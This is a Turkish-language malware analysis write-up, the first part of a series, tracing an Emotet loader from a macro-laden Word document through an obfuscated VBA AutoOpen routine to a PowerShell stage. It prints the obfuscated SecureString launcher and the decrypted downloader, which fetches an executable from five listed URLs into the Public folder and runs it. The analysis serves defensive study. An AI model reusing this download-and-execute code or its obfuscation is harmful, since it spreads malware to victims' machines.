Emotet zararlı yazılım analizi part I
Merhaba
Bu seride emotet zararlı yazılımını ve atak vektörünü baştan sona araştıracağız. Bu yazıda loader kısmını, ikinci yazıda binary kısmını inceleyeceğiz. Emotet zararlısının birçok farklı varyasyonu var. Bu yazıda aşağıdaki hashe sahip dokümanı inceleyeceğiz.
File: PAYMENT 225EWF.doc
MD5: e8e468710c0a4f0906305c435a761902
SHA-256: 707fedfeadbfa4248cfc6711b5a0b98e1684cd37a6e0544e9b7bde4b86096963
Zararlı Malshare'de mevcut. Microsoft office uygulamalarıyla açtığımızda karşımıza çalıştırılmayı bekleyen bir macro kodu karşımıza çıkıyor.

Microsof word'un macrolar kısmına geldiğimizde autoOpen adında bir macro bizi karşılıyor. Burası makronun başlangıç noktası.

AutoOpen fonksiyonunu seçip düzenle butonuna bastığımızda fonksiyonun olduğu yere varıyoruz. Vba script kodunu incelediğimizde obfuscate edildiğini görüyoruz. Aplication.run haricinde dikkat çeken bir detay görünmüyor. Diğer satırlarda da sadece değişkenlere değer atanmış. Peki application.run satırında ne oluyor?
"ndUzTzJ" değerini proje içinde arattığımızda bunun string argümanı alan bir fonksiyon olduğunu görüyoruz. Burdaki string argümanı "DsPBkKtzcIwF".
Yine "DsPBkKtzcIwF" değerini proje içinde arattığımızda da bir fonksiyona ulaşıyoruz. Neyse ki bizim için önemli olan bu fonksiyonun ne döndürdüğü. Basitçe debug.print (DsPBkKtzcIwF) yaparak fonksiyonun ne döndürdüğünü görebiliriz.
Argümanı bulduk şimdi asıl fonksiyonu("ndUzTzJ") inceleyelim.

Bu fonksiyonda da createobject satırı dikkat çekiyor. Ayrıca az önce bulduğumuz argüman "nbDfkaTi" adında bu satırda kullanılmış.

Ve sonunda çalıştırılacak komuta ulaştık. createobject("Wscript.Shell").run ile print ettiğimiz komut çalıştırılıyor. Şimdi procces explorer ve procces monitor ile programı çalıştırma zamanında inceleyelim. Wordde macroları etkinleştirip çalıltırdığımızda 3 işlem oluşuyor. Bunların ikisi cmd diğeri powershell. Bu proccessleri suspend edip inceliyoruz. Cmdde bizim bulduğumuz komut çalışıyor. Powershellde ise komutun başı değişmiş. Demek ki komut arkada powershelli açmış. Procces monitor ile powershell proccesini inceliyoruz.

Artık elimizde daha düzgün bir komut var .Şimdi bu komutu inceleyelim.
powershell " ( [RuntIME.InteroPsERvICEs.marshAl]::([runtiME.IntErOpserViceS.marshal].GeTMEmbERS()[2].nAME).inVOKe([RUNtIme.intEropseRVICEs.MarShal]::SeCURestrINgtogLoBaLaLloCUnicOde( $('76492d1116743f0423413b16050a5345MgB8ADYA……………………QA3AGQAOABhADYANgAwADUAMABkAGYAOQBmAGQAMwA=' |cOnvErtto-SeCureSTrINg -K (35..4)))))| . ( $VERBosePreFERENcE.TOStrIng()[1,3]+'x'-joIn'')
Tırnak içindeki text dotnet securestring classı'ı ile encryptlenmiş. Decrypt etmek için basit bit script yazıyoruz.

$nsadasd = &('n'+'e'+'w-objec'+'t') random;$YYU = .('ne'+'w'+'-object') System.Net.WebClient;$NSB = $nsadasd.next(10000, 282133);$ADCX = '
http://lecap-services.fr/wiB9s/?http://nikitinskysport.ru/R5ytZ/?http://beauty-tea.com/hB2JAMO/?http://zekiatagur.com/gCWu/?http://arkonziv.com/Site7_Pixelhobbi
es/iV1PKqL/'.Split('?');$SDC = $env:public + '\' + $NSB + ('.ex'+'e');foreach($asfc in $ADCX){try{$YYU."Do`Wnl`OadFI`le"($asfc."ToStr`i`Ng"(), $SDC);&('Invo'+'k
'+'e-Item')($SDC);break;}catch{}}
Ve sonuç yine obfuscate bir string.
Neyse ki bu o kadar da karmaşık değil. Belli ki belirli urllerden dosya indirip çalıştırıyor.
İçinden urlleri ayırmamız gerek sadece. Urlleri bir string içinde tutup '?' ile ayırdığı açıkça görünüyor.
$env:public
: "C:\Users\Public"
stringini verir
ardından $env:public + '\' + $NSB + ('.ex'+'e')
satırında
C:\Users\Public\$NSB.exe adında bir executable oluşturulmuş
$NSB aşağıdaki komuttan anlaşılacağı üzere 10000, 282133 arasında random bir değer.
$NSB = $nsadasd.next(10000, 282133)
$nsadasd = &('n'+'e'+'w-objec'+'t') random

Macroları açıp kodu çalıştırdığımızda görüldüğü üzere public klasörü içinde bir executable oluşuyor , ancak 0 kb. Bunun sebebi linklerin artık geçersiz olması.

Sonraki yazıda indirilecek olan executable binary'i inceleyeceğiz.